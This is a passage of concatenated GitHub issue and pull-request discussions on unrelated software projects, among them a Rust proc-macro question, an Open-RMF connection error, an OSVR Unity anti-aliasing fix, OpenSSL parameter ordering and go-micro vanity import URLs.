}

This does not compile, and I've not been able to figure out any way to make it work. The only thing I can think of is generating code (from my proc macro) that has #[async_trait] in front, but this requires consumers to explicitly have a reference to this crate, which I would also like to avoid if possible. So I suggest splitting up this crate into an "implementation" crate, using proc-macro2, and an actual proc_macro crate that just calls the functions exported from the implementation crate. This should be pretty straight forward to do. I'm willing to provide a PR if this is something that would be accepted.

I'll close this because I am not interested in maintaining a split setup, but the code is appropriately licensed such that someone else could maintain a fork with a non-macro entry point.

Regarding emitting code that contains an async_trait invocation, your library crate should reexport async_trait next to your own macro and your macro should emit calls to the reexport:
// alxandr/src/lib.rs
#[doc(hidden)]
pub use async_trait::async_trait;
pub use alxandr_macro::test;

// alxandr-macro/src/lib.rs
quote!(#[alxandr::async_trait])

Yeah, I know this is a workaround, I just wish I didn't have to use one :-/. Preferably, rust would allow calling proc-macros from proc-macros.

Me too, write an RFC. ;)


[Bug]: Fleet adapter not starting

Before proceeding, is there an existing issue or discussion for this?

[X] I have done a search for similar issues and discussions.

OS and version
Ubuntu 24.04
Open-RMF installation type
Binaries
Other Open-RMF installation methods
No response
Open-RMF version or commit hash
jazzy
ROS distribution
Jazzy
ROS installation type
Binaries
Other ROS installation methods
No response
Package or library, if applicable
No response
Description of the bug
When trying to run any simulation using:
source ~/rmf_ws/install/setup.bash
ros2 launch rmf_demos_gz hotel.launch.xml
I get the following errors
[fleet_adapter-15] Other error for cleanerBotA_2 in get_data: HTTPConnectionPool(host='<IP_ADDRESS>', port=22013): Max retries exceeded with url: /open-rmf/rmf_demos_fm/status?robot_name=cleanerBotA_2 (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7efa23545d30>: Failed to establish a new connection: [Errno 111] Connection refused'))
This occurs for each robot in any simulation. I have checked the ports and they are not in use
Is there any service I need to start manually?
Thanks!
P.S: Additional info - I can sent tasks, and the reply is:
ros2 run rmf_demos_tasks dispatch_patrol -p restaurant  L3_master_suite -n 1 --use_sim_time
[INFO] [1733144245.529242338] [task_requester]: Using Sim Time
[INFO] [1733144245.532441902] [task_requester]: Using 'dispatch_task_request'
Json msg payload:
{
"type": "dispatch_task_request",
"request": {
"unix_millis_earliest_start_time": 0,
"category": "patrol",
"description": {
"places": [
"restaurant",
"L3_master_suite"
],
"rounds": 1
}
}
}
Got response:
{'state': {'booking': {'id': 'patrol.dispatch-1beccacf08', 'unix_millis_earliest_start_time': 0}, 'category': 'patrol', 'detail': {'places': ['restaurant', 'L3_master_suite'], 'rounds': 1}, 'dispatch': {'errors': [], 'status': 'queued'}, 'status': 'queued', 'unix_millis_start_time': 0}, 'success': True}
Steps to reproduce the bug

Launch demo
source ~/rmf_demos_ws/install/setup.bash
ros2 launch rmf_demos_gz office.launch.xml

Expected behavior
No response
Actual behavior
No response
Additional information or screenshots
No response

This is almost certainly an issue in your local setup and not something that's being caused by Open-RMF.
Are you using docker or some other containerization in some way? If so, you probably need to configure it to allow programs access to the port.

Thanks for the answer! I couldn't find the problem in the configuration, however, I have repeated the installation of OpenRMF using source, and with this option it works correctly.


Cancel out of signup / signin

Once you're in the flow, not possible to exit, correct?

You can switch back and forth between sign in and sign up. Not sure why you'd need to go back to the onboarding screens.
But in general, the onbaording > sign up/in > permissions > profile photo is one big static flow. We need to break it up and give ourselves flows for things like logging out and back in, just updating you profile photo, etc

Hmm, okay... I didn't see any links to go into sign in from sign up, so killed and restarted. Maybe blind?

Possible that the keyboard would not exit, so i couldn't scroll down to see the footer. Is that where the links are?

yea they're in the footer. You can dismiss the kb by tapping outside of the text inputs. Also maybe with the kb return key, can't remember.


Remove dependency on Ada.Numerics

There is one routine that depends on Ada.Numerics.  Due to this, two separate versions need to be maintained - one for builds with Ada.Numerics and one for builds without.  This adds some needless complexity.  To simplify things, the one problematic routine should be removed (perhaps left commented out with the reasoning why) and the extra project file removed.  This will have impacts on many of my other projects that will also have to be updated to remove the dual builds.  To ensure consistency, this will be done in three steps:

Remove the one routine
Update other projects to remove the dual builds
Update this project to remove the dual build.

The dependencies have been removed.  This issue can now be closed.


all Data struct is static

after reading and studying the code i noticed that struct all are static , i prefer to change to something more flexible
like:
Token , Symbol,  stack,
all needed to be in linked lists
some functions should be turned to pointer lilke:
Token eat(int type)  --> Token * eat(int type)
because on failed no way to know it
do you have any different idea or start do it?

Hi, I agree that using a dynamic type to hold tokens and symbols is the right way to do this but back when I wrote this, I wanted to write something small enough that even a beginner in C could understand. Adding linked lists or ASTs would increase the code size. I wrote this mainly to learn about interpreters and never really tried to make it efficient or polished.
Having said that, modifying certain functions to return pointers could later help to add error handling, which is currently absent.
Hope this helps. Cheers!

do you like to work with it, or keep it simple?

I would go with the simpler route, but you could always fork it and work on this proposal and if the code is simple to understand, I can merge it here as well.


Create file delete user

New file "updatedUser.php" created for deleting an user from data base

Hi, What is the change?

The change is that I created a new file for deleting an user from the data base


Add ability to search for groups using {uid}

On some LDAP servers, the uid attribute is more like a guid, while the
username exists instead in a dedicated field, like username. This
means the uid is not necessarily equal to username.
This is allows referencing using the uid to search for groups in the same
way as dn so that one can explicitly match the memberuid to the uid for
the user without the assumptions that come with using {0}.
I have run unit tests, but need to verify integration tests pass as well.
This is also my first time working with TypeScript, so let me know if anything I've done is weird. I'm happy to make updates.

Nice contribution, thank you! LGTM.


⚠ Bofrost.at has degraded performance

In a582ca0, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 1477 ms

Resolved: Bofrost.at performance has improved in 921fcf9.


amm throws NPE on OpenJDK 9

The amm runtime Classpath system attempts to get the "sun.boot.class.path" property, which doesn't exist in OpenJDK 9, throwing a NullPointerException. I'm not sure what the appropriate workaround is, sorry!

lol I don't know what the solution is either. Hopefully someone who knows something about Java 9 can chime in and enlighten us...

OK, so as you might expect, especially if you've ever worked with OSGi, this has to do with the module system. In JRE/JDK 9, there is a new file system provider, "jrtfs," that apparently provides access to the classes used by the JRE/JDK itself in a principled way. This post has some further information and this code is an example of using the file system.
There is also a backport of jrtfs to Java 7, but I don't know how useful that would be to Ammonite.
Hope this helps!

Still doesn't work on Java 9. On the other hand, I couldn't get SBT to work on Java 9 either, so I'll probably wait until at least that is supported so Ammonite can be built

sbt 1.0.3 / scala 2.12.4 are working fine on j9

This can be widened to OracleJDK as shown in #739

I guess this can be closed?


1-clip 10-clip in posec3d. And it doesn't say in the paper, is it 1 frame per interval and 10 frames per interval?

It is my doubt as well, it says in the config files, clip_len=48 and num_clips=10. Do these stand for trimming the original video into 10 clips and then choosing 48-frame-long clips from those 10 clips?


add RIVM pdf files for 2020-03-23 and 2020-03-24

As requested,
best regards,
Jeroen

Thanks, @Jeroenr1. We will start digitalizing the PDF data asap.


[blocked by 2193] Extract translations from places that use GlobalMessage

Blocked by #2193

This ticket is for unblocking #1809

#2193 has been merged. So this ticket is unblocked now.


Command Bar Search Field Unable to Close

On smaller screens and browser sizes the command bar search field is unable to be closed if text is not entered into the field.

We have some fixes for this that will be released very soon.

This issue is still present in Fabric 1.2.1 (see the repro). On small screens there is no search text or icon, and once the search area is clicked it expands to fill the Command Bar but cannot be closed without first entering text.

In your codepen the icon isn't showing up at all.

Yup, the search icon is missing (I haven't seen the designs but it seems there should be one...) across all screen sizes.

Now I see why you mentioned it @battletoilet, I didn't realize the icon was working correctly on our Command Bar demo page (see below). I'll look into why my repro isn't loading the icon.

Fixed by PR #615. The search field now closes on all screen sizes.


Update README Arch section with maintained release package

Hey, I'm a maintainer of spaceship-prompt aur package. I noticed that spaceship-prompt-git package is no longer updated (e.g there is issue with async.zsh in installation) and seems like README should point this out. I changed the instructions to use spaceship-prompt package, because it has regular updates and working out of box as expected.

Hey! Thanks for maintaining aur package! I guess this will fix #1255.
Out of curiosity, is it possible to store AUR package repo on github under @spaceship-prompt org? It would like to keep all the related stuff under a single organization.

AUR package is a simple git repo which consist of two files: PKGBUILD and .SRCINFO. I think it is possible to keep both of them on github and setup a github action which would mirror commits from github repo to AUR. I'm not good at configuring CI, but I can help with AUR packages.

We can use https://github.com/marketplace/actions/mirroring-repository package for that. Should be easy to do.
Should I create a repo under the organization for that?

Yeah, go ahead. Let's test this thing.

:tada: This PR is included in version 4.13.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Unity anti aliasing quality setting ignored in HMD.

I'm having trouble getting the Unity anti-aliasing quality setting to affect what is shown on the HDK. It seems like the quality setting is only affecting what is displaying on the screen but not the HMD. e.g. I can up the anti-aliasing quality to x8 and it looks nice on screen, but still looks disabled on the HMD.
You can see from these screen grabs that the image used for the HMD seems unaffected by the Unity setting, but the uncorrected preview image looks much better with anti aliasing level set to x8

I'm running:
Windows 8.1 64-bit
NVidia GTX650 with driver 362.00
Unity 5.3.1f1  Personal.
OSVR Plugin for Unity 1.7
OSVR-Core-Snapshot-v0.6-1144-g9c9092f-build250-vs12-64bit
Razer HDK 1.3

I think this is related to a known issue (known to me, not yet recorded on a Github issue) with the second rendering pass.  You can work around the issue by setting the overSampling factor in the server RenderManager configuration file to be larger, which will cause more pixels to be drawn in the first pass which provides more detail for the second pass.  The issue is that this should become blur rather than aliasing even when it occurs.
Distortion correction can cause dilation of parts of the Unity image before rendering to the screen, which is a separate source of aliasing from the Unity rendering itself.

Do you mean the "renderOverfillFactor" setting? I tried upping that from 1.5 to 5.0 but all that seemed to do was kill the framerate with no obvious improvement in aliasing effects. :-(

No, there is another one named renderOversampleFactor that is available on newer RenderManager versions that increases the rendering resolution without increasing the virtual screen size.  renderOverfillFactor increases the screen size to help keep texture clamping from happening with distortion correction and time warp.  And setting it to 5 will be rendering 25X as many pixels, so I'm sure it will kill your frame rate.

Ah, ok thanks. I will try that. Is is supported in the current published OSVR plugin asset (v1.7) or do I need to get stuff from git hub to try it?
BTW. For what it's worth, here's results of my experiments with "renderOverfillFactor"

Ah ha.. setting "renderOversampleFactor" to 2.0 has definitely reduced aliasing artifacts but seems to be quite costly to frame rate:

Hmmm...perhaps move the "definitely" to a "maybe" as I upped the "renderOversampleFactor" to 5.0 expecting something that looked much better, but all it did was kill the framerate (as you might expect):

I'm trying to figure out when AA from the Unity quality setting fits into the rendering pipeline. There doesn't seem to be any visual difference turning it on or off when using Rendermanager. However, using AA as an Image Effect (script attached to each VRSurface), I think there is some anti-aliasing that is visible even on the RenderManager path (lines look a little more blurry than jagged). Maybe we are asking RenderManager to Present before Unity has applied AA from the Quality setting, but after Image/Postprocess effects?
@ChrisDenham Your scene looks like a good test case, could you test with AA as an Image Effect attached to VRSurface? It is available in the Unity Standard Assets package.
Either way, there are two parts to this -- AA in Unity (quality setting or image effect), and AA in RenderManager, where aliasing is introduced by distortion correction regardless of any AA done in Unity. Is it worth doing AA in Unity at all if we always need to do it again in RenderManager?

@DuFF14 OK, I'll try that tomorrow. That's a good point about whether its worth doing the AA in Unity, and come to think of it, maybe we want quality settings for rendering preview image to be as low as possibly to have the best chance of hitting required framerate when adding in rendering for VR stereo views, distortion and compositing etc. I suppose that's why other systems use the composed VR image for the preview mirror?

The preview window will be a RenderManager feature eventually, not an extra camera in Unity. Other features have higher priority at the moment. Until then, I'd keep it off or not fullscreen if its keeping you from hitting your target framerate.

@DuFF14  I've tried adding the Antialiasing image effect to the VRSurface and it does help a bit (the DLAA technique seems to work best) but I'm still getting nowhere near the quality I need:

An oversampling factor of 5 is indeed going to kill the frame rate (rendering 25x as many pixels).  Something like 2-3 is what I'd expect to be needed.
However, there is still an open issue in RenderManager to turn the resulting jaggies into blur when the oversampling is not sufficient.  I've looked into it a bit, but it probably has to do with the texture-blending configuration used by the shader program.

HURRAHHH! I think I've fixed it :-)

The problem seems to be that the antiAliasing level needs to be set on the RenderTexture made in VREye.cs (as it defaults to 1) So to get the above result, all I had to do was hard code setting that to 8 here:
                        //render manager
                        if (Viewer.DisplayController.UseRenderManager)
                        {
                            surface.SetViewport(Viewer.DisplayController.RenderManager.GetEyeViewport((int)EyeIndex));

                            //create a RenderTexture for this eye's camera to render into
                            RenderTexture renderTexture = new RenderTexture(surface.Viewport.Width, surface.Viewport.Height, 24, RenderTextureFormat.Default);
							renderTexture.antiAliasing = 8;
                            surface.SetRenderTexture(renderTexture);
                        }

Presumably the renderTexture.antiAliasing value should be inherited from the Unity Quality settings?

Great find! I was under the assumption it was inheriting the quality setting. The non-hardcoded solution would be:
renderTexture.antiAliasing = QualitySettings.antiAliasing;

Can you open a pull request in the OSVR-Unity repo?
I think we can leave this issue open since RM distortion correction is still be adding aliasing, but hopefully this is good enough in Unity that it's less of an issue.

@DuFF14  Ok, will do. Thanks.

It actually doesn't really do much for me, testing in OSVRDemo2.unity scene and looking at the top edge of a wall. I wouldn't have noticed that it had any effect. But if it makes your more complex scene look better, that's awesome. I'll find a better test scene for AA.

Yeah, I guess it's most noticeable light/dark boundaries of objects, Some of my scenes have tiled walls and the grout edges look really awful without AA.

@DuFF14 just wondering if you were already using image effects or rendermanager oversampling? As that might be why you are not seeing noticable improvement with my change. Otherwise i wonder if it implies that for some reason your system does not require my change to get the AA in VR? For me, the difference is very obvious and essential. I find VR without AA is a very bad experience.

Nope, I just needed a more complex scene to look at. I do see the improvement.

The Direct3D aliasing was fixed in the recent pull request, so closing this issue.


updating VirtualService will not affect sidecar proxy until pod restart

Bug description
When we update a VirtualService to add timeout it does not affect the sidecar proxy until we restart the pod. I don't know if is this the expected behavior.
Expected behavior
Sidecar proxy affects from VirtualService changes immediately.
Steps to reproduce the bug
Create VirtualService and then update it.
Version (include the output of istioctl version --remote and kubectl version and helm version if you used Helm)
How was Istio installed?
Environment where bug was observed (cloud vendor, OS, etc)

This is not expected. Does this always happen? Can you reproduce it?
It would be helpful to look at the config dump before and after to see if it changes - https://github.com/istio/istio/wiki/Troubleshooting-Istio for more info. You can also run istioctl ps POD to see if the config matches in control plane and data plane. Thanks

Hi @howardjohn I will try to reproduce it (if possible) as soon as I become available. May be (probably) I did something wrong.

We have testing for this and have never experienced this, and there is no further info on how to debug. For now I will close, if we can get some more info we can investigate further. Thanks


Inconsistent libctx awareness function parameters

There are many functions which had two parameters added for libctx awareness: OPENSSL_CTX *libctx, const char *propq. For most of them, they were added to the end of the parameter list,
~/src/openssl$ git grep -n  'OPENSSL_CTX.*propq)' |  wc -l
59

but eight functions are exceptional, they got them added at the beginning:
~/src/openssl$ git grep -n  'OPENSSL_CTX.*propq,' |  wc -l
8

Wouldn't it make sense to straighten that inconsistency out before the first beta?
~/src/openssl$ git grep -n -A 1 'OPENSSL_CTX.*propq,'
crypto/ec/ec_kmeth.c:79:EC_KEY *ec_key_new_method_int(OPENSSL_CTX *libctx, const char *propq,
crypto/ec/ec_kmeth.c-80-                              ENGINE *engine)
--
crypto/ec/ec_lib.c:26:EC_GROUP *ec_group_new_with_libctx(OPENSSL_CTX *libctx, const char *propq,
crypto/ec/ec_lib.c-27-                                   const EC_METHOD *meth)
--
crypto/ec/ec_local.h:602:EC_GROUP *ec_group_new_with_libctx(OPENSSL_CTX *libctx, const char *propq,
crypto/ec/ec_local.h-603-                                   const EC_METHOD *meth);
--
crypto/ec/ec_local.h:658:EC_KEY *ec_key_new_method_int(OPENSSL_CTX *libctx, const char *propq,
crypto/ec/ec_local.h-659-                              ENGINE *engine);
--
doc/man3/SSL_CTX_new.pod:21: SSL_CTX *SSL_CTX_new_with_libctx(OPENSSL_CTX *libctx, const char *propq,
doc/man3/SSL_CTX_new.pod-22-                                  const SSL_METHOD *method);
--
include/openssl/ec.h:894:EC_KEY *EC_KEY_new_by_curve_name_with_libctx(OPENSSL_CTX *ctx, const char *propq,
include/openssl/ec.h-895-                                             int nid);
--
include/openssl/ssl.h:1531:__owur SSL_CTX *SSL_CTX_new_with_libctx(OPENSSL_CTX *libctx, const char *propq,
include/openssl/ssl.h-1532-                                        const SSL_METHOD *meth);
--
ssl/ssl_lib.c:3086:SSL_CTX *SSL_CTX_new_with_libctx(OPENSSL_CTX *libctx, const char *propq,
ssl/ssl_lib.c-3087-                                 const SSL_METHOD *meth)

Looking at the list, I ask myself: should ec_key_new_method_int be renamed to ec_key_new_method_with_libctx?

A thought: should the OPENSSL CTX and the property query be combined into a structure?  We've had cases in the past where one but not the other was passed.

A thought: should the OPENSSL CTX and the property query be combined into a structure? We've had cases in the past where one but not the other was passed.

I do not think so. This imho complicates callers and the called function unnecessarily.

@mspncp should this also addressed before beta1?

I can add it for now, then we can go through the milestone entries on Tuesday. But actually I'm not the right person to ask. For tickets which are listed in the Google spreadsheet, you should find the answer there.

It's obsolete.


Remove Toil from install_requires (resolves #292)

Thanks for doing the legwork on this Hannes.

@hannes-ucsc — Ready for review


cli exits if a svelte compiler error occurs

When the svelte compiler throws an error, e.g., an 'unclosed-element' error in the template file, it exists the cayo CLI entirely. It'd be nice if this just let the user know, but kept the server running and continue watching the files.
I think the fix will be something like wrapping the import(...) statements in cayo.js for the template, pages, and cayo components in a try...catch as well as adding some try...catch stuff to renderer and prerender. I fiddled around with it and got it to successfully catch the example error above in the template file, but then there was uncaught errors in renderer (as expected, since template would be undefined if it can't be compiled).

Fixed in 219ad9b (tagging # 54 was a typo)


SSL Error

Everything seems to be working except for the connection... assuming it's the proxies. I'm currently using Packet Stream (ass ik), can't get my hands on Bright Data. Assuming the issue is the proxies, which do you recommend?

Is there a way to get access to them without having to schedule a video conference? I tried before and it was pretty intensive.
If not, do you recommend any others


[FEATURE] Go Vanity URL go-micro.dev

Looking at potentially setting up a permanent import URL for go-micro that's totally unrelated to the location of the repo. This is in case there's plans to move it again later but also just to give it a permanent URL.
Currently "go-micro.dev" or "gomicro.dev" are two choices. Looking for feedback on whether people think it's a good idea.
import "go-micro.dev"

The domain go-micro.dev now points to this repo with go import meta tags. The next step will be to rename the module and the various package names

I would personally prefer the hyphenated version as there's a clear separation of the words "Go" and "Micro". Would renaming the module not be a backwards incompatible change though? In that case we should be handling the rename with great care.

Yes it's backwards incompatible but we've made these moves before between versions and orgs. I think what it ensures is long term it doesn't matter where the repo lives and the import should not be tied to github.

Just for clarity's sake, the plan is to rename the module from github.com/asim/go-micro/v3 to go-micro.dev? This means omitting the v3 path from the module name, correct?

That's correct. I need to actually test this in a separate project to see what affect it has. I am guessing that Go probably still attempts to honour versioning and may reject it.

So I'm testing here https://github.com/asim/test-vanity but I can see issues with versioned vanity url usage. This seems to imply that the server returning the meta tags needs to understand the versioning and it can't just be simple github pages. Otherwise versions have to be defined as branches or sub directories. Not ideal. But tbh I'm not a fan on /vX suffixes. Its pretty painful and was only done to deal with breaking changes and in the interest of moving forward quickly. I otherwise prefer evolutionary software that isn't defined by this versioning scheme.
Tough call, hard to go backwards, not otherwise sure how to move forwards besides just using it for unversioned use.

Would it be an option for Go Micro to use the go-micro.dev vanity URL and git tags for versioning? For example, currently Go Micro's latest version is v3.6.0, so by invoking go get go-micro.dev, your go.mod would be updated with require go-micro.dev v3.6.0. If you require any other version, such as v2, you can just invoke go mod edit -require<EMAIL_ADDRESS>and your go.mod would be updated with that version instead. This way there's no need to mess around with module suffixes.

So I was attempting to do this in my test repo but it seems like Go completely ignores the release tags unless it's v1 or you have versioned the module with /vX. They've very specifically tied the design of go mdo and versioning like this. It's a shame.

I see what you mean I think. I've set up my own vanity test here https://github.com/auditemarlow/test-vanity, shamelessly stolen from you but I needed to verify some things, considering you tagged v1.0.0 on the go-nitro.dev/v3 module. /v3 does not imply v1.0.0 so I set up my project without the suffix and tagged v1.0.0. That makes my module's v1.0.0 go getable just fine. It gets complicated when you want to publish versions v2 and beyond. There's a blog post on that here https://go.dev/blog/v2-go-modules
The bottom line I think is that due to the way Go Modules work right now, it's not possible to not have module version suffixes when you want to publish versions v2 and beyond. There's strength in that too though, as it forces you to choose a major version to ensure upgrading (or downgrading) is a conscious decision.
As for Go Micro, we can choose between (at least) two evils; keep the v3.x.x tags and /v3 module suffix or wipe them clean and start fresh with module go-micro.dev. The former sounds like the most feasible solution.

I would like to try eliminate the versioned suffix for go-micro.dev but will do a bit more research and have a play before offering any solutions. From a usage perspective I'm not sure what others expect but the versioning in this way is really ugly. The only alternative I think is to make versions sub directories.

OK, so I've used nginx to serve the meta info and got it to work. Turns out github pages is not great for this. Now the next question is, how to switch over and whether to preserve this form of versioning or if its time to create v0-9 sub packages.

Can this be closed now that we can import go-micro.dev/v4 or are we not yet done migrating everything?


Add command to run admin tests after upgrade

Add a new command to run the admin test thread after an upgrade happens

We now have start-upgrade-test-admin


Question: How to add additionnal drives

Awesome project, love it !
But I was wondering, is it possible to pass another volume to be added to the machine ? To make sure the C drive and say, E drive are possible ?
Thank you again for this, it works awesome.

Found my answer ! https://github.com/dockur/windows/issues/245
Closing.


Resolvers for different kinds of files

* http and https
    * Write request as http/1.1 request and flush()
    * Read response as http/1.1 response
    * https://cetacean.club/api/pony/newest
* project
    * project://event.type opens a writer for the given event type in the local project
    * project://club.cetacean.printerfacts.Request
* ws and wss
    * websockets
    * Authentication via a `?authorization="bearer%20foo"` or `?header=value`
* rand
    * random
* time
    * Current time in timezone
    * time://utc

http and https are implemented for now. good enough for MVPing.


flutter build shows a wrong bundle identifier

flutter build shows a wrong bundle identifier when there are multiple schemes.
We have dev and prod schemes and change the bundle identifier based on scheme (com.example.app.dev for dev and com.example.app for prod). When we build ios app flutter build ios always shows com.example.app.dev regardless of flavor.
This is because flutter looks up the bundle identifier from pbxproj using regex and it always uses the first match. (To be precise, flutter also looks up Info.plist before pbxproj but it uses pbxproj when the bundle identifier in Info.plist contains $.)
https://github.com/flutter/flutter/blob/d345a3b303ce041846ff895eb49a104bef133c4b/packages/flutter_tools/lib/src/project.dart#L400
Steps to Reproduce

Add schemes (e.g., dev and prod) to ios project.
Change bundle identifier based on scheme.
Build ios app specifying flavor (e.g., flutter build ios --flavor prod).

Target Platform: ios
Target OS version/browser:
Devices:
Logs
$ flutter build ios --flavor dev
Warning: Building for device with codesigning disabled. You will have to manually codesign before deploying to device.
Building com.example.app.dev for device (ios-release)...
$ flutter build ios --flavor prod
Warning: Building for device with codesigning disabled. You will have to manually codesign before deploying to device.
Building com.example.app.dev for device (ios-release)...

[✓] Flutter (Channel unknown, v1.9.1+hotfix.6, on Mac OS X 10.14.6 18G87, locale en-JP)
    • Flutter version 1.9.1+hotfix.6 at /Users/shouichi/local/flutter
    • Framework revision 68587a0916 (3 months ago), 2019-09-13 19:46:58 -0700
    • Engine revision b863200c37
    • Dart version 2.5.0

[✓] Android toolchain - develop for Android devices (Android SDK version 28.0.3)
    • Android SDK at /Users/shouichi/local/android
    • Android NDK location not configured (optional; useful for native profiling support)
    • Platform android-29, build-tools 28.0.3
    • ANDROID_HOME = /Users/shouichi/local/android
    • Java binary at: /Applications/Android Studio.app/Contents/jre/jdk/Contents/Home/bin/java
    • Java version OpenJDK Runtime Environment (build 1.8.0_152-release-1248-b01)
    • All Android licenses accepted.

[✓] Xcode - develop for iOS and macOS (Xcode 11.2.1)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • Xcode 11.2.1, Build version 11B500
    • CocoaPods version 1.8.4

[✓] Android Studio (version 3.3)
    • Android Studio at /Applications/Android Studio.app/Contents
    • Flutter plugin version 34.0.1
    • Dart plugin version 182.5215
    • Java version OpenJDK Runtime Environment (build 1.8.0_152-release-1248-b01)

[✓] VS Code (version 1.40.2)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.6.0

I have the same issue!
Do we have an update on this?

This is issue is still there. On v1.15.19-pre.17.


SMS plugin is depreciated

SMS plugin is depreciated.
The new link is https://github.com/cordova-sms/cordova-sms-plugin

Good to know, will add updating this for the next version.


Add option to disable verifying HTTPS certificates

Hey there,
thanks for this nice and clean project!
I just came across the issue and thought I would quickly contribute this.
Fixes #28

Updated the PR. Sorry, I already commit --amended
I'll try again without next time :D

Let me have a look if I can fix Github's UI with a little bit of history rewriting... I'll push your commit again if this does not produce the result I hope it will have.

Sadly it did not fix the UI, so I pushed your latest commit into the branch again.

Thanks for pointing out the outdated readme, I fixed that.

Thanks for taking the time to review and discuss these changes with me.
I hope everything is fine now. :-)

I've added a small test for the new error condition myself instead of asking for another round of review. I hope this is fine for you.

@xperimental Thanks for your time and reviews!


sync up with the released v1.04

apparently (according to Victhor) it's not entirely necessary to sync up with v1.04 which is bundled with WACUP Preview/Beta build #4334, as though the supposed crash with a Script#13 should be fixed (which isn't, funnily enough).
syncing up with the latest release of WCM is already a pain in the rear as it's hard to do due to the many changes i introduced to my WCM mod (which is essentially Winamp2000SP4, will have to see how to go about this


Recorder issues around poll-call-ordering and other small things

We need a logical tick in poll-call, so backend knows how to order it.
Also, we need to fix-up field-ids in WorkResponse (some field at some point was deleted, and field-ids jump the number 4).

First time recorder should post value 0 for ticks, then post stable-clock values.

fixed in this: 5f5345dea38ca13588fe5afd9637d1c14ed3503f


Offline Library Embedding

Run embed script to download and uncompress library released to each of platforms, then encode and compress again, but this time save in .json files instead of .zip

deno run --allow-all --unstable embed.ts

When compiled binary imports WebUI

const myWindow = new WebUI();

it already has all of libs compressed
import libs from './dir.ts';

and depending on user platform, it will uncompress and save that one into user home directory,
  const it = libs[Deno.build.os];
  const xit = `webui-2.${it.ext}`;
  const ixit = joinPath(Deno.env.get('HOME'), '.webui', xit);
  // ...
  export const libName = await getLibName();

and access it given that path
import {
  libName,
} from "../deps.ts";

export function loadLib() {
  return Deno.dlopen(
    libName,

Possible improvement:
If we want to avoid embedding all libs when only one needed compiling for each platform and further save space, then we can have WebUI to accept compressed library imported as an argument and let user to create several main files for each platform, but I'm not sure if it would be worth it like this:
import webuiMacosArm from "./src/webui-libs/webui-arm64.dylib_.json" with { type: "json" };

const myWindow = new WebUI(webuiMacosArm);

I think it's better as implemented in current PR:
const myWindow = new WebUI();

Does it make sense? @hassandraga


Can I use the RxLifecycle library?

Hi.
Can I use the RxLifecycle from a class that inherits MvpActivity and MvpBasePresenter?
https://github.com/trello/RxLifecycle

Of course you can because both provide delegates.
Once I get around to extended mosby components - #143 - I also wanted to add RxLifecycle suport

basically yes, since both libraries are following the delegation principle, but you should not intersect both responsibilities. i.e. don't call createPresenter() from a RxLifecycle event, since it is already managed by mosby.


Attempted to write multiple times to …, please check your configuration

With version 4.2.1 I get the error
https://github.com/querydsl/querydsl/blob/8f96f416270d0353f90a6551547906f3c217833a/querydsl-sql-codegen/src/main/java/com/querydsl/sql/codegen/MetaDataExporter.java#L430
while using querydsl-maven-plugin together with jdbcDriver com.mysql.cj.jdbc.Driver (mysql-connector-java 8.0.11). This happens because the user I use to connect to MySQL has access to multiple databases. As a workaround I had to add nullCatalogMeansCurrent=true to jdbcUrl.

Do you configure separate packages for the multiple schemas?
Or do you filter the schemas with a pattern?
Can you paint the picture a bit more, since it's intended to fail when the maven plugin detects the class was already generated.

I filter the tables via tableNamePattern, and tried to filter via schemaPattern, but this has no effect. (schema is always null, catalog is different depending on database name).

I have same issue !

Workaround : Create a new user in database which has access to only the given database for which you want to create Q files for. Done.


The middleware is too restrictive for PSR-3 compliant loggers that do not implement the Psr\Log\LoggerInterface

The class Tuupola\Middleware\CorsMiddleware requires the supplied logger to be an instance of Psr\Log\LoggerInterface.
This means any PSR-3 logger that does not implement that interface, like Zend\Log\Logger, cannot be used.
Are you willing to remove the requirement of the interface so that all PSR-3 compliant loggers can be allowed?

I was going to ask why on earth Zend\Log\Logger does not implement Psr\Log\LoggerInterface if it implements PSR-3. Then I read https://github.com/zendframework/zend-log/issues/35 which makes sense.
I do however prefer developing against interfaces so I rather not drop the requirement. To use Zend one could create a wrapper class which implements the Psr\Log\LoggerInterface but forwards the logging request to the original class.

I understand. But this means that this middleware (tested with zend-expressive) does not support Zend's logger. It might be helpful to add that to the README.md.

Zend seems to provide PsrLoggerAdapter for this usecase.


Make makerst.py create folders automatically, print a message when done

I noticed this while working on https://github.com/godotengine/godot-docs/issues/5074.

Thanks!

Cherry-picked for 3.4.

Cherry-picked for 3.3.3.


Clipboard copy: Add option/prop to expanded variants to expand upon load

I have a few use cases within both the Mobile Developer Services app and the Solution Explorer (for RHMI) where we would like to be able to show the contents of the clipboard copy by default instead of making the user interact to expand it. Could a prop be added to select to have this expanded by default?
cc: @christiemolloy @jessiehuff @dlabaj

Issue in MDC: https://github.com/aerogear/mobile-developer-console/issues/406

@rachael-phillips could we put this on the roadmap. We need it within the next two weeks in MDC and it would be a lot quicker to update in pf-react. I can also take it on.

Closing this as an issue was created in React ^


Corrections for the Nitrokey 3 update operation

Suppress logging for the update process (to improve performance on Windows)

cc @robin-nitrokey

Logging suppression can be replaced with async logging, e.g.:

https://async-worker.github.io/aiologger/

@robin-nitrokey Please close this one if outdated

I think we’ve merged all changes in different PRs, except for the disabled log but it didn’t fix the slow execution on Windows anyway.


"usbipd wsl list" doesn't work and page pointed to doesn't help

Windows Version
10.0.19045.3930
WSL Version
0.2.1
Are you using WSL 1 or WSL 2?

[ ] WSL 2
[X] WSL 1

Kernel Version
4.4.0-19041-Microsoft
Distro Version
Ubuntu 22
Other Software
USBIPD-WIN.
Repro Steps
Follow instructions at https://learn.microsoft.com/en-us/windows/wsl/connect-usb on a freshly installed Ubuntu 22 under WSL. Install USBIPD-WIN (and reboot) as instructed.
Type
usbipd wsl list in an administrative Power Shell.
says
usbipd: error: The 'wsl' subcommand has been removed. Learn about the new syntax at https://learn.microsoft.com/windows/wsl/connect-usb#attach-a-usb-device. which is where we started give or take some minor URI differences.
Expected Behavior
I expect a page linked from the output of a command to be more helpful.
Actual Behavior
As above.
Diagnostic Logs
No response

@jms19 one of the changes in the latest  usbipd-win release is  The WSL commands have changed, see the README for the new syntax. See more at https://github.com/dorssel/usbipd-win/blob/master/README.md Microsoft's documentation will take a while to update!

Closing since the issue is related to usbipd-win.


Using DAQ module with zhinst-qcodes

Using the daq module on a MFLI, I have several questions regarding the workflow:

